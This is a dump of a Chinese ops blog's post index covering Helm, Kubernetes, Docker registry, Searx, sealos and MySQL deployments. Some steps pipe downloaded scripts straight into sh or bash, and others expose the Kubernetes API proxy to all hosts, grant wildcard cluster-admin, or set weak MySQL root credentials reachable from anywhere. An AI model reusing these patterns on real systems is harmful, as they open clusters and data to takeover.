rbac.authorization.k8s.io/v1beta1 metadata: name: tiller-clusterrolebinding subjects: - kind: ServiceAccount name: tiller namespace: kube-system roleRef: kind: ClusterRole name: cluster-admin apiGroup: \u0026#34;\u0026#34; 在进行初始化的时候指定sesrvice-account 为我们建立的 tiller，这样就可以解决前面的 forbidden 的问题。\n解决方法在init的时候指定 --service-account\nhelm init --upgrade -i registry.cn-hangzhou.aliyuncs.com/google_containers/tiller:v2.16.0 --stable-repo-url https://kubernetes.oss-cn-hangzhou.aliyuncs.com/charts --service-account tiller 建立PV卷 在helm安装的默认配置里面的是没有配置 Pv 的，所以导致我们在进行挂载的时候会保持在pending的情况。descrice 之后可以在event中看到是在等待合适的挂载的PV\n--- apiVersion: v1 kind: PersistentVolume metadata: name: mariadb-pv labels: app: mariadb component: master heritage: Tiller release: wordpress spec: capacity: storage: 10Gi accessModes: - ReadWriteOnce persistentVolumeReclaimPolicy: Retain storageClassName: nfs nfs: server: sync.gov path: \u0026#34;/volume1/docker/wp-post/mariadb-pv/\u0026#34; --- apiVersion: v1 kind: PersistentVolume metadata: name: wordpress-pv labels: app: wordpress chart: wordpress-7.6.7 heritage: Tiller release: wordpress spec: capacity: storage: 10Gi accessModes: - ReadWriteOnce persistentVolumeReclaimPolicy: Retain storageClassName: nfs nfs: server: sync.gov path: \u0026#34;/volume1/docker/wp-post/wordpress-pv/\u0026#34; 注：如果PV是 release状态，无法被 claim 使用下面命令来回到available的状态\nkubectl patch pv pv-for-rabbitmq -p \u0026#39;{\u0026#34;spec\u0026#34;:{\u0026#34;claimRef\u0026#34;: null}}\u0026#39; helm 安装 WP 在前面的配置完成之后，直接使用 helm来进行安装，等待 pod 的状态\nhelm install --name wordpress stable/wordpress --set global.storageClass=\u0026#34;nfs\u0026#34; 在部署完成来desc一线这个service ，可以看到默认的nodeport来转发规则\nkubectl describe svc wordpress 参考 helm 的其他chart 是时候使用Helm了：Helm, Kubernetes的包管理工具 Helm User Guide - Helm 用户指南 Connection refused error when issuing helm install command #3460 ","date":"2019-11-24T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/11/2019-11-24-%E5%9F%BA%E4%BA%8Ehelm%E7%9A%84wordpress%E7%9A%84%E5%BF%AB%E9%80%9F%E9%83%A8%E7%BD%B2/","tags":["docker","helm","k8s","wordpress"],"title":"基于Helm的wordpress的快速部署"},{"categories":["每周分享"],"contents":"每周的标签关闭计划，还自己一个干净的浏览器。 每篇舍不得关闭的博文，总会有一点值得你记录的东西。\n好书 Mastering Elasticsearch(中文版) es的书写的不错 Kubernetes Handbook——Kubernetes中文指南/云原生应用架构实践手册 一本开源图书免费阅读，jimmy 出品。 正文 摘选 《人人都是工程师》前言 论什么是自学\n老男孩Shell企业面试题30道 [答案]\nApache Kafka基准测试：每秒写入2百万（在三台廉价机器上）-并发编程网 - ifeve.com 在三台 Xeon 2.5 GHz处理器六核 的机器上可以实现 2M 的每秒写入量。对吞吐参数也做了详细的实验。\nLinux命令大全 对于命令的功能和参数可以直接进行查询\nOpenResty最佳实践 后面可以从nginx到 openResty来进行过度，更便捷的方法来实现简单的WEB功能\nsnippets-代码片段收集板 代码片段站点包含 HTML，HTACCESS，NGINX 等等\nGo语言充电站 一个主要是Go语言的站点\n技术分享之service mesh (k8s\u0026amp;istio)的那些事儿-峰云就她了\n推荐大家把一些有状态的服务，比如postgres、mysql、elasticsearch，放在k8s的pod之外。为啥？ 我问了一圈在各公司搞云平台开发的，他们k8s每次出问题，大概率都是因为存储。 ? 这个很考验基础架构团队的能力。 一篇不错的 istio 的介绍文章，也给出了PDF的下载链接 http://xiaorui.cc/static/service_mesh.pdf\n技术分享之http2和quic的那些事儿\u0026ndash;峰云就她了 Http2的讲解文章，干货生动。\nRaft共识算法的官方页面 有动画生动的介绍共识过程，生动形象\netcd 使用入门 ETCD 的入门基本的使用简介\nJenkins入门指南 Jenkins的官方入门智能。\n用Python的交易员\u0026ndash;知乎 VN.py的作者\nGreenwicher\u0026rsquo;s Wiki 涵盖金融以及阅读的个人wiki\n一个新手面试 Linux 运维工作至少需要知道哪些知识？\n运维岗位不像其它岗位，如研发工程师、测试工程师等，有非常明确的职责定位及职业规划，比较有职业认同感与成就感；而运维工作可能给人的感觉是哪方面都了解一些，但又都比上专职工程师更精通、感觉平时被关注度比较低（除非线上出现故障），慢慢的大家就会迷惘，\nProject HashClash - MD5 \u0026amp; SHA-1 cryptanalysis 实现MD5碰撞的工具，基于CUDA可以自己跑\n在线工具 就是在线工具\nNode初学者入门，一本全面的NodeJS教程 一个不错的NodeJS的书，介绍来是怎么使用 JS 来实现各种的开发，web/应用\n机器战胜人类了，伺候机器的运维呢? \u0026ndash; 三斗室\n『跟其他运维工程师觉得这个职业将消失不同。我是对运维职业是持极端乐观态度的，也许运维职业将是人类最后一个职业。很可能祂们在能自理之前还需要我们伺候。。。也说不定，某几个运维工程师因为某种不知道的原因还会被祂们当宠物留下来，成为人类的最后的延续。』 『我终于明白这个图片的寓意了，它其实预示了人类的未来命运。』\nDocker源码分析系列文章\nNginx源码解读系列\nBeing壁纸 M$的壁纸说实话好看\n","date":"2019-11-10T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/11/2019-11-10-tabclosing/","tags":["istio","jenkins","linux","nginx","nodejs","ops"],"title":"TabClosing"},{"categories":["op之路"],"contents":"任何东西都应该代码化，有了Docker的技术之后，服务架构本身也夸一被代码化了。 这一篇帖子记录的是从最简单的 docker run 到一个基本的K8S的高可用的服务。\n背景 这次的背景接着前面的 kiwix 离线个人wiki部署 ，在那篇文章中，最终使用 docker run命令来进行服务的运行。 但是我们需要知道的是，在微服务的思想中，容器不是HA的，但是服务是HA的。\ndocker run -p 32768:80 -v /volume1/DataBank/Wiki/zims/:/data --name=\u0026#34;kiwix-server\u0026#34; kiwix/kiwix-serve wikipedia_zh_all_novid_2018-07.zim 所以，这里的目的就是把上面的这句 命令转化为一个服务。\n标准YAML 在之前也写过K8S的yaml 文件，但是都是copy paste 出来的，没有一个标准，所以这里就来搞一个标准模板。下面是从官方拿到的一个部署实例。\napiVersion: apps/v1 # for versions before 1.9.0 use apps/v1beta2 kind: Deployment metadata: name: nginx-deployment spec: selector: matchLabels: app: nginx replicas: 2 # tells deployment to run 2 pods matching the template template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.7.9 ports: - containerPort: 80 编写我们自己的YAML 基础应用 可以参考上面的示例，我们需要创建一个属于自己的应用 YAML。照葫芦画葫芦，我一我们得到来下面的内容\napiVersion: apps/v1 kind: Deployment metadata: name: kiwix-dept spec: selector: matchLabels: app: kiwix replicas: 2 # 使用两个实例 template: metadata: labels: app: kiwix spec: containers: - name: kiwix image: kiwix/kiwix-serve:latest imagePullPolicy: IfNotPresent ports: - containerPort: 80 端口暴露 在K8S中，service层可以理解为网络的调度器。由service 来控制网络的负载均衡，所以这里需要进行端口的暴露，一样的参考官方的说明文档，照葫芦画葫芦。\napiVersion: v1 kind: Service metadata: name: kiwix-svc labels: app: kiwix spec: ports: - port: 30002 targetPort: 80 nodePort: 30002 protocol: TCP name: http type: NodePort selector: app: kiwix 持久卷 K8S上的存储，一直是个老大难的问题。因为服务是运行在多个节点上，但是存储又是相互独立的，所以这里需要使用 可共享的文件系统来实现文件共享。最简单易得的就是我们的 NFS。\n**这里涉及到一个新的 概念 PV/PVC，看了技术的简介，可以理解为 PV是存储设备的通用抽象层，而PVC是在其上的通用控制层。**这里也是直接搬移官方的yaml；\napiVersion: v1 kind: PersistentVolume metadata: name: nfs spec: capacity: storage: 64Gi accessModes: - ReadWriteMany nfs: server: sync.gov path: \u0026#34;/volume1/docker/wiki/\u0026#34; --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: nfs spec: accessModes: - ReadWriteMany storageClassName: \u0026#34;\u0026#34; resources: requests: storage: 64Gi 在pod内部使用卷的且进行挂载的时候的yaml 先是指定挂载点，之后来下载需要挂载的 PVC\nvolumeMounts: # name must match the volume name below - name: nfs mountPath: \u0026#34;/mnt\u0026#34; volumes: - name: nfs persistentVolumeClaim: claimName: nfs 最终整合 在对上面的 应用，网络，存储这里的三大部分进行整合之后，就得到了下面的内容\napiVersion: v1 kind: Service metadata: name: kiwix-svc labels: app: kiwix spec: ports: - port: 30002 targetPort: 80 nodePort: 30002 protocol: TCP name: http type: NodePort selector: app: kiwix --- apiVersion: v1 kind: PersistentVolume metadata: name: nfs spec: capacity: storage: 64Gi accessModes: - ReadWriteMany nfs: server: sync.gov path: \u0026#34;/volume1/docker/wiki/zims/\u0026#34; --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: nfs spec: accessModes: - ReadWriteMany storageClassName: \u0026#34;\u0026#34; resources: requests: storage: 64Gi --- apiVersion: apps/v1 kind: Deployment metadata: name: kiwix-dept spec: selector: matchLabels: app: kiwix replicas: 2 # 使用两个实例 template: metadata: labels: app: kiwix spec: containers: - name: kiwix image: kiwix/kiwix-serve:latest imagePullPolicy: IfNotPresent command: [\u0026#34;/usr/local/bin/kiwix-serve\u0026#34;] args: [\u0026#34;--port\u0026#34;, \u0026#34;80\u0026#34;, \u0026#34;--library\u0026#34;,\u0026#34;/data/library.xml\u0026#34;,\u0026#34;-r\u0026#34;,\u0026#34;wiki\u0026#34;,\u0026#34;-v\u0026#34;] ports: - containerPort: 80 protocol: TCP livenessProbe: httpGet: scheme: HTTP path: /wiki/ port: 80 initialDelaySeconds: 30 timeoutSeconds: 30 volumeMounts: # name must match the volume name below - name: nfs mountPath: \u0026#34;/data\u0026#34; volumes: - name: nfs persistentVolumeClaim: claimName: nfs 直接在使用 kubuctl进行部署即可\n后 这次的 yaml 的部署显得前所未有的顺利，遇到了port 配置的一点的问题，之外在卷挂载以及使用上面十分的顺利。目前本站的 wiki 就是使用上述的 yaml 文件来进行部署。\nK8S平台使得架构可以使用 代码进行编写，是对应用本身的极大的提高。这里使用的简单的工程中，分为逻辑层，存储层，接入层清晰明了，都可以保证HA。\n参考资料 为容器设置启动时要执行的命令及其入参 Kiwix Docker file k8s-nfs-example 存储-Volumes ","date":"2019-11-09T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/11/2019-11-09-%E6%9E%B6%E6%9E%84%E4%BB%A3%E7%A0%81%E5%8C%96-%E4%BB%8E%E4%B8%80%E8%A1%8Crun%E5%88%B0yaml/","tags":["docker","ha","k8s","kubernetes"],"title":"代码即架构--从一行run到Yaml"},{"categories":["玩点什么"],"contents":"随着特色规则越来越特色，再家里建个隧道已经是十分的困难了。用上Baidu加上CSDN的生活就完全丧失了网络自主权。想着自己部署一个搜索代理跑着吧。 之前有看过 谷歌站点反向代理的策略，但是实现的方式总是感觉太过于落后了。运气很好遇上了一个项目searx一个多平台聚合的元搜索项目。可以一下子搜索聚合几十个引擎的内容。于是这里就给部署好了。欢迎访问\n本站 https://search.12ms.xyz 如果本周由于某些不可抗力的因素无法访问的话：可以看看这个镜像列表： https://github.com/asciimoo/searx/wiki/Searx-instances\n项目介绍 A privacy-respecting, hackable metasearch engine. Pronunciation: səːks 项目地址 https://github.com/asciimoo/searx 项目 wiki https://asciimoo.github.io/searx/ 官方Doc https://asciimoo.github.io/searx/\n特性 Features Self hosted No user tracking No user profiling About 70 supported search engines Easy integration with any search engine Cookies are not used by default Secure, encrypted connections (HTTPS/SSL) Hosted by organisations, such as La Quadrature du Net, which promote digital rights 部署过程 一样秉承开包即用的思想，打包好了的标准应用用就是了。\ncd /usr/local git clone https://github.com/searx/searx-docker.git cd searx-docker 这里需要 docker 的环境以及 docker-compose工具，提前按照好，就可以很顺利的跑起来。\n./start.sh 问题 删除compose内的 caddy 由于这里使用了nginx作为反向代理，不需要再使用caddy 来进行反向代理的功能。否则会引起端口冲突 caddy 可以自动的申请 let‘s encrypt 的免费证书。\n修改searx配置 vim searx/settings.yml 修改其base_url如下：\nbase_url : https://search.12ms.xyz/ # Set custom base_url. Possible values: False or \u0026#34;https://your.custom.host/location/\u0026#34; 修改 .env文件 启动过程中的环境变量，需要调整 SEARX_HOSTNAME 为托管域名，MORTY_KEY 如注释填写，FILTRON_PASSWORD如注释填写。\n修改 filtron 规则 删除 filtron 的部分规则，否则导致被错误的block掉，删除如下部分即可\n{ \u0026#34;name\u0026#34;: \u0026#34;block Connection:close\u0026#34;, \u0026#34;filters\u0026#34;: [\u0026#34;Header:Connection=close\u0026#34;], \u0026#34;limit\u0026#34;: 0, \u0026#34;stop\u0026#34;: true, \u0026#34;actions\u0026#34;: [ {\u0026#34;name\u0026#34;: \u0026#34;block\u0026#34;, \u0026#34;params\u0026#34;: {\u0026#34;message\u0026#34;: \u0026#34;Rate limit exceeded\u0026#34;}} ] }, { \u0026#34;name\u0026#34;: \u0026#34;block no brotli support\u0026#34;, \u0026#34;filters\u0026#34;: [\u0026#34;!Header:Accept-Encoding=[; ]?br[; ]?\u0026#34;], \u0026#34;limit\u0026#34;: 0, \u0026#34;stop\u0026#34;: true, \u0026#34;actions\u0026#34;: [ {\u0026#34;name\u0026#34;: \u0026#34;block\u0026#34;, \u0026#34;params\u0026#34;: {\u0026#34;message\u0026#34;: \u0026#34;Rate limit exceeded\u0026#34;}} ] }, 后 Baidu 和 CSDN 已经越来越成了商业化的工具了。内容来自于我们，却来给你们赚钱。 自从CSDN 从登录才可以访问，以及极其差劲的导出功能开始，愈发厌恶。\n所以，在今天的中国，你基本上不用做什么，只需要不使用中国互联网，你就很自然地超过大多数人了\n","date":"2019-11-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/11/2019-11-07-searx%E5%85%83%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E9%83%A8%E7%BD%B2%E6%8C%87%E5%8C%97/","tags":["docker"],"title":"Searx元搜索引擎部署指北"},{"categories":["op之路"],"contents":"K8S 搭建之后，当然需要使用 dashboard 这样的强有力的管理工具来实现对整个平台的控制，这篇就记录部署 dashboard 过程中踩的坑，以及解决方法。\n镜像拉取以及部署 如果你有很好的网络环境，那么这一步是相当的容易，根据官方的手册，你连左右俯冲都不需要： 当然如果你是又特色的网络环境的话，需要参考后面的网络的解决方案\n$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v1.10.1/src/deploy/recommended/kubernetes-dashboard.yaml # api 暴露访问 kubectl proxy --address=\u0026#39;0.0.0.0\u0026#39; --accept-hosts=\u0026#39;^*$\u0026#39; \u0026amp; 这样直接就可以在本机的地址，来直接进行 dashboard访问来\nhttp://\u0026lt;换成你的IP\u0026gt;:8001/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/. 调整NodePort 我们当然希望我们的dashboard 需要想 一个服务一样暴露出来，这样我们需要修正配置文件了，找到最后的service的部分：\n# ------------------- Dashboard Service ------------------- # kind: Service apiVersion: v1 metadata: labels: k8s-app: kubernetes-dashboard name: kubernetes-dashboard namespace: kube-system spec: ports: - port: 443 targetPort: 8443 nodePort: 30001 type: NodePort selector: k8s-app: kubernetes-dashboard 在这里需要进行修改，添加 NodePort的配置，这样的话就可以直接在主机的网络上进行服务的访问。\n登录看看 由于最新版的dashboard默认了minimal的权限，所以登上去基本什么都做不了，单是好歹能看把：\n# 列出所有的 secret kubectl get secret -A # 查看指定的 secret 的token kubectl -n kube-system get secret kubernetes-dashboard-token-\u0026lt;你自己的不一样\u0026gt; 得到token之后，直接去上面暴露出来的服务进行访问登录即可。在登录的时候选择使用 令牌来进行登录。\n网络问题 如果你的网络很有特色，那么你需要这部分的内容。主要的思路是到其他地方来拉取镜像。之后重新tag即可\ndocker pull mirrorgooglecontainers/kubernetes-dashboard-amd64:v1.10.1 docker tag mirrorgooglecontainers/kubernetes-dashboard-amd64:v1.10.1 k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1 另外有一点很坑的是，需要在yaml里指定，不需要拉取最新的镜像，否则在部署的过程中，kube还是会尝试去拉取最新的镜像导致部署失败，修改yaml文件\n- name: kubernetes-dashboard image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1 imagePullPolicy: IfNotPresent 权限问题 这个问题头疼了很久，官方的yaml默认配置的是minimal的权限，如果使用默认的token去进行访问的话，很多功能是用不了的。所以这里需要创建自己的admin来对集群的所有内容来进行统一管理。\n由于到处都是教程，又很少有说怎么去解决配置的问题，这里简单的讲一下了。一码胜千言，这里直接把能用的yaml贴出来：\nkind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: cluster-admin rules: # Allow Dashboard to create \u0026#39;kubernetes-dashboard-key-holder\u0026#39; secret. - apiGroups: [\u0026#34;*\u0026#34;] resources: [\u0026#34;*\u0026#34;] verbs: [\u0026#34;*\u0026#34;] --- apiVersion: v1 kind: ServiceAccount metadata: name: admin namespace: kube-system labels: kubernetes.io/cluster-service: \u0026#34;true\u0026#34; addonmanager.kubernetes.io/mode: Reconcile --- kind: ClusterRoleBinding apiVersion: rbac.authorization.k8s.io/v1 metadata: name: admin annotations: rbac.authorization.kubernetes.io/autoupdate: \u0026#34;true\u0026#34; roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.io subjects: - kind: ServiceAccount name: admin namespace: kube-system 这里面分为三个部分：\nClusterRole ClusterRoleBinding ServiceAccount 这里理解为，创建集群角色，创建集群用户，绑定集群用户。这样就完成创建了一个具有所有权限的用户了。enjoy it。\n后 最后祝各位玩的愉快\n续 由于兼容性的问题需要升级为2.0 的dashboard，更加易用和方便：\nkubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta4/aio/deploy/recommended.yaml 官方Dashboard链接 https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/\n","date":"2019-11-06T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/11/2019-11-06-kubernetes-dashboard-%E7%9A%84%E9%83%A8%E7%BD%B2%E8%AE%B0%E5%BD%95/","tags":["docker","kubernetes"],"title":"Kubernetes dashboard 的部署记录"},{"categories":["op之路"],"contents":"在本地进行镜像构建的话，由于特色的互联网政策，与 docker hub 的连通率是在的糟糕，所以只能想办法自己搭建一个 Docker的私有仓库，用来保存自己构建的镜像，也可以作为外部镜像的中转站。在拉取 k8s 的 dashboard 的时候，镜像根本拉不下来，所以只能在 海外的主机上进行中转。\n这一篇就记录一下搭建的过程，使用官方的镜像，很快的搭建一个 私有的 仓库。\n拉取镜像 docker hub 的直连速度实在不行，这里推荐使用 Daocloud 的加速方案 ，配置过程十分简单，一行命令搞定，实际上是修改了默认的 registry\ncurl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://f1361db2.m.daocloud.io 在修改完了deamon的文件之后，重启docker的服务使配置的 默认源生效。 之后直接拉取官方的镜像即可\ndocker pull registry 镜像部署 由于已经打包好了应用的镜像，在进行部署的时候只需要考虑两点，端口的映射和数据的持久化。所以直接执行启动命令：\ndocker run -d \\ -p 15000:5000 \\ -v /opt/data/registry:/var/lib/registry \\ myregistry （容器本身是不可靠的，但是服务是可靠的所以，最好的方法是使用服务的方式进行部署） 这样很快的在本机的 15000端口开启了docker的registry。\n推送镜像 由于这样直接部署的仓库是 http的，所以还需要在docker的配置中指定是不安全的 http，否则默认的话会使用 https 来进行操作，返回 400 bad request。修改之后的domean 的文件如下：\n{\u0026#34;registry-mirrors\u0026#34;: [\u0026#34;http://f1361db2.m.daocloud.io\u0026#34;], \u0026#34;insecure-registries\u0026#34;: [\u0026#34;127.0.0.1:15000\u0026#34;] } 这里可以对 配置 hosts，这样的话，美观一点。（实际上这里可以用 host加上nginx来把端口降为80） 这些都是可优化的地方。\n现在就开始 push 镜像了，首先需要把 官方的镜像重新tag一下，之后直接进行推送：\n# 重新tag 镜像，指定仓库 docker tag k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1 127.0.0.1:15001/kubernetes-dashboard-amd64:v1.10.1 # 对镜像进行推送 docker push 127.0.0.1:15001/kubernetes-dashboard-amd64:v1.10.1 ➜ ~ curl 127.0.0.1:15001/v2/_catalog {\u0026#34;repositories\u0026#34;:[\u0026#34;kubernetes-dashboard-amd64\u0026#34;]} 拉取镜像 完成上面的操作之后，镜像已经被推送到了我们的自己的仓库中了，这样我们回到本地主机进行拉取。 一样的先对docker的配置进行修改，和上面一样，信任http。\n{\u0026#34;registry-mirrors\u0026#34;: [\u0026#34;http://f1361db2.m.daocloud.io\u0026#34;], \u0026#34;insecure-registries\u0026#34;: [\u0026#34;127.0.0.1:15000\u0026#34;] } 直接拉取镜像，并且重新的打tag\ndocker pull sync.gov:15000/kubernetes-dashboard-amd64:v1.10.1 docker tag sync.gov:15001/kubernetes-dashboard-amd64:v1.10.1 k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1 至此完成了 私有docker镜像仓库的搭建以及 镜像的中转。\nEOF\n","date":"2019-11-02T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/11/2019-11-02-docker-registry-%E6%90%AD%E5%BB%BA/","tags":["docker"],"title":"Docker Registry 搭建"},{"categories":["op之路"],"contents":"在自己使用 esxi 来进行多节点虚拟化的基础上来进行 k8s 的部署。其实早都想从原始的 swarm来切换到 k8s来，最近才完成这个，这里做一个记录。以便后面可以按图索骥。\n具体方法 这里一样使用的是开包即用的方法，使用 sealos 来进行一件的快速部署。\n# 下载离线包 wget https://github.com/fanux/sealos/releases/download/v2.0.7/sealos \u0026amp;\u0026amp; \\ chmod +x sealos \u0026amp;\u0026amp; mv sealos /usr/bin # 直接进行安装 sealos init --passwd YOUR_SERVER_PASSWD \\ --master 192.168.0.2 --master 192.168.0.3 --master 192.168.0.4 \\ --node 192.168.0.5 \\ --pkg-url https://sealyun.oss-cn-beijing.aliyuncs.com/37374d999dbadb788ef0461844a70151-1.16.0/kube1.16.0.tar.gz \\ --version v1.16.0 这里依托于了工具本身，所以部署的过程显得和谐切顺利。\n如果需要移除 k8s 的本身，执行以下命令：\nsealos clean \\ --master 192.168.0.2 \\ --master 192.168.0.3 \\ --master 192.168.0.4 \\ --node 192.168.0.5 \\ --user root \\ --passwd your-server-password ","date":"2019-11-02T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/11/2019-11-02-%E4%BD%BF%E7%94%A8-sealos-%E7%9A%84kubernetes%E5%BF%AB%E9%80%9F%E9%83%A8%E7%BD%B2%E6%8C%87%E5%8D%97/","tags":["docker","k8s"],"title":"使用 Sealos 的Kubernetes快速部署指南"},{"categories":["op之路"],"contents":"使用 Docker 快速的部署一个本地可用的测试环境，再使用Navicat之类的工具来进行表的创建和设计，极大的降低了使用和操作的成本。\nHow to 具体的操作很简单，使用 docker 对mysql进行部署即可。这里使用 docker-compose文件可以更好的管理。\n拉取镜像\ndocker pull mysql 写 yaml文件\nversion: \u0026#39;3\u0026#39; services: db: image: mysql #构建mysql镜像 container_name: mysql-db # 容器名 command: mysqld --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci #设置utf8字符集 restart: always environment: MYSQL_ROOT_PASSWORD: root #root管理员用户密码 MYSQL_USER: test #创建test用户 MYSQL_PASSWORD: test #设置test用户的密码 MYSQL_ROOT_HOST: \u0026#34;%\u0026#34; ports: - \u0026#39;3306:3306\u0026#39; #host物理直接映射端口为6606 # 数据持久化 # volumes: # #mysql数据库挂载到host物理机目录/e/docker/mysql/data/db # - \u0026#34;/e/docker/mysql/data/db:/var/lib/mysql\u0026#34; # #容器的配置目录挂载到host物理机目录/e/docker/mysql/data/conf # - \u0026#34;/e/docker/mysql/data/conf:/etc/mysql/conf.d\u0026#34; 启动容器\n# docker-compose up ➜ mysql docker-compose up mysql-db is up-to-date Attaching to mysql-db mysql-db | Initializing database mysql-db | 2019-10-29T08:28:19.673116Z 0 [Warning] [MY-011070] [Server] \u0026#39;Disabling symbolic links using --skip-symbolic-links (or equivalent) is the default. Consider not using this option as it\u0026#39; is deprecated and will be removed in a future release. mysql-db | 2019-10-29T08:28:19.673422Z 0 [System] [MY-013169] [Server] /usr/sbin/mysqld (mysqld 8.0.16) initializing of server in progress as process 30 mysql-db | 2019-10-29T08:28:21.304245Z 5 [Warning] [MY-010453] [Server] root@localhost is created with an empty password ! Please consider switching off the --initialize-insecure option. mysql-db | 2019-10-29T08:28:22.582852Z 0 [System] [MY-013170] [Server] /usr/sbin/mysqld (mysqld 8.0.16) initializing of server has completed mysql-db | Database initialized 之后 3306 的端口的mysql服务就跑起来了！\nEOF\n","date":"2019-10-31T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/10/2019-10-31-docker-%E5%BF%AB%E9%80%9F%E9%83%A8%E7%BD%B2mysql%E6%B5%8B%E8%AF%95%E7%8E%AF%E5%A2%83/","tags":["docker","mysql"],"title":"docker-compose 快速部署mysql测试环境"},{"categories":["玩点什么"],"contents":"偶遇了一个很好玩的东西，宇哥非常炫酷的个人主页。 和一般的点点点不一样，这个是能玩的。 示例页面：\nhttps://bruno-simon.com\n页面源码是开源的，可以直接在Ghub上找到；\nhttps://github.com/brunosimon/folio-2019\n在pick这个小玩具的同事，这里也简要的记录一下部署记录\n部署 首先安装 nodejs 的环境，由于使用的是centos的系统，默认的node源的版本比较低，所以先需要升级\ncurl -sL https://rpm.nodesource.com/setup_10.x | bash - 来安装 node10 的源。\ngit clone https://github.com/brunosimon/folio-2019.git\u2029npm install -g parcel-bundler\u2029npm i\u2029# dev 运行\u2029npm run dev\u2029# 编译在dist目录，可使用 pm2 等运行\u2029npm run build 他山之石 本站也部署了一个，欢迎来玩\nwww.12ms.xyz/folio/\nnodejs的web开发 这里首先推荐一篇文章：\nNode初学者入门，一本全面的NodeJS教程\n不过，这些毕竟都是前端技术，尽管当想要增强页面的时候，使用jQuery总让你觉得很爽，但到最后，你顶多是个JavaScript用户，而非JavaScript开发者。\n这里在文章中选取一句话，可能是自己对这个 JS用户执迷了太深，导致一致没有反应过来 JS的web开发到底是怎么一回事。 也是巧，遇见这个项目一下子明白不少。这个不就是和PHP一个道理吗，笑。\n一样吗？不一样，事实上在folio这个项目里面，node的作用和php可没有一点关系。 项目使用的是最终的 build出来的dist包，这个 包里面全都是静态文件，和动态 没有一点关系。 node的web开发的思想是吧各个可以使用的组件作为一个包，安装即用。使用 nodejs 来进行编写，实现最终的效果，完成开发过程之后，直接使用build进行构建，就得到了静态的源码。比裸写html 不知道效率提高了多少个等级。\n","date":"2019-10-27T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/10/2019-10-27-%E4%B8%80%E4%B8%AA%E9%9D%9E%E5%B8%B8%E7%82%AB%E9%85%B7%E5%A5%BD%E7%8E%A9%E7%9A%84%E4%B8%BB%E9%A1%B5folio-2019/","tags":["nodejs","web"],"title":"一个非常炫酷好玩的主页folio-2019"},{"categories":["op之路"],"contents":"Cgroup是Linux 内核中的重要功能，和Namespace 构成了当前的热门技术\u0026mdash;容器。\ncgroups的一个设计目标是为不同的应用情况提供统一的接口，从控制单一进程（像nice）到操作系统层虚拟化（像OpenVZ，Linux-VServer，LXC）。cgroups提供： 资源限制：组可以被设置不超过设定的内存限制；这也包括虚拟内存。[3] [4] 优先级：一些组可能会得到大量的CPU[5] 或磁盘IO吞吐量。[6] 结算：用来衡量系统确实把多少资源用到适合的目的上。[7] 控制：冻结组或检查点和重启动。[7] \u0026mdash;-wikipedia\n简单的说，可以对应用进行资源层面的组控制。这里将使用 Cgroup实现基本的资源控制的应用。\n使用准备 根据一般的标准流程，是需要对cgroup的目录在挂载点进行挂载，但这里就图简单，直接在控制项目里创建控制组，先可以看到Cgroup中的极大资源类型：\n➜ cd /sys/fs/cgroup ➜ cgroup ll total 0 drwxr-xr-x 5 root root 0 Aug 1 22:06 blkio lrwxrwxrwx 1 root root 11 Aug 1 22:06 cpu -\u0026gt; cpu,cpuacct lrwxrwxrwx 1 root root 11 Aug 1 22:06 cpuacct -\u0026gt; cpu,cpuacct drwxr-xr-x 5 root root 0 Aug 1 22:06 cpu,cpuacct drwxr-xr-x 4 root root 0 Aug 1 22:06 cpuset drwxr-xr-x 5 root root 0 Aug 1 22:06 devices drwxr-xr-x 4 root root 0 Aug 1 22:06 freezer drwxr-xr-x 4 root root 0 Aug 1 22:06 hugetlb drwxr-xr-x 5 root root 0 Aug 1 22:06 memory lrwxrwxrwx 1 root root 16 Aug 1 22:06 net_cls -\u0026gt; net_cls,net_prio drwxr-xr-x 4 root root 0 Aug 1 22:06 net_cls,net_prio lrwxrwxrwx 1 root root 16 Aug 1 22:06 net_prio -\u0026gt; net_cls,net_prio drwxr-xr-x 4 root root 0 Aug 1 22:06 perf_event drwxr-xr-x 5 root root 0 Aug 1 22:06 pids drwxr-xr-x 5 root root 0 Aug 1 22:06 systemd 在本次的使用中，选取基本的 cpu，memory，blkio这几类，分别是 CPU计算资源，内存，块设备IO。 默认的Cgroup是系统全局，所以我们需要创建自己的一个子系统（subsystem），\n➜ cgroup cd cpu ➜ cpu mkdir foo ➜ foo ll total 0 -rw-r--r-- 1 root root 0 Oct 27 17:51 cgroup.clone_children --w--w--w- 1 root root 0 Oct 27 17:51 cgroup.event_control -rw-r--r-- 1 root root 0 Oct 27 17:51 cgroup.procs -r--r--r-- 1 root root 0 Oct 27 17:51 cpuacct.stat -rw-r--r-- 1 root root 0 Oct 27 17:51 cpuacct.usage -r--r--r-- 1 root root 0 Oct 27 17:51 cpuacct.usage_percpu -rw-r--r-- 1 root root 0 Oct 27 17:51 cpu.cfs_period_us -rw-r--r-- 1 root root 0 Oct 27 17:51 cpu.cfs_quota_us -rw-r--r-- 1 root root 0 Oct 27 17:51 cpu.rt_period_us -rw-r--r-- 1 root root 0 Oct 27 17:51 cpu.rt_runtime_us -rw-r--r-- 1 root root 0 Oct 27 17:51 cpu.shares -r--r--r-- 1 root root 0 Oct 27 17:51 cpu.stat -rw-r--r-- 1 root root 0 Oct 